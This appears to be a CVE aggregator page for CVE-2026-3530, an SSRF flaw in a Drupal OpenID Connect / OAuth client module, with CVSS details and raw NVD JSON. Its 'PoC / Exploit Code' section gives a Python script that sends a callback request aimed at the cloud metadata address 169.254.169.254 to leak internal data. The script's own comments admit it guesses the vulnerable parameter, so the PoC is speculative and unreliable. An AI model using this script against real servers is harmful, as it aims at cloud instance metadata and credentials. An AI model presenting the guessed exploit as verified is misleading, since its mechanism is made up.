Security Vulnerability Report
中文
CVE-2026-3530 CVSS 4.3 MEDIUM

CVE-2026-3530

Published: 2026-03-26 21:17:09
Last Modified: 2026-04-01 16:11:34

Description

Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenID Connect / OAuth client allows Server Side Request Forgery.This issue affects OpenID Connect / OAuth client: from 0.0.0 before 1.5.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:bojanz:openid_connect_\/_oauth_client:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal OpenID Connect / OAuth client < 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3530 SSRF in Drupal OpenID Connect / OAuth client import requests target_url = "http://drupal-site.example.com/openid-connect/callback" # Example payload targeting an internal metadata service internal_target = "http://169.254.169.254/latest/meta-data/" # Assuming the vulnerable endpoint takes a 'redirect_uri' or similar parameter # that is eventually fetched by the server without validation. payload = { "code": "arbitrary_code", "state": "arbitrary_state", "redirect_uri": internal_target } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, data=payload) # Analyze response to check if the internal target was accessed if response.status_code == 200 and "meta-data" in response.text: print("[+] Potential SSRF successful! Internal content leaked.") print(response.text[:500]) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3530", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:09.150", "lastModified": "2026-04-01T16:11:34.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenID Connect / OAuth client allows Server Side Request Forgery.This issue affects OpenID Connect / OAuth client: from 0.0.0 before 1.5.0."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en el cliente Drupal OpenID Connect / OAuth permite la falsificación de petición del lado del servidor. Este problema afecta al cliente OpenID Connect / OAuth: desde 0.0.0 anterior a 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bojanz:openid_connect_\\/_oauth_client:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.5", "matchCriteriaId": "4659C484-D955-4875-A0CC-3EF717150D8A"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}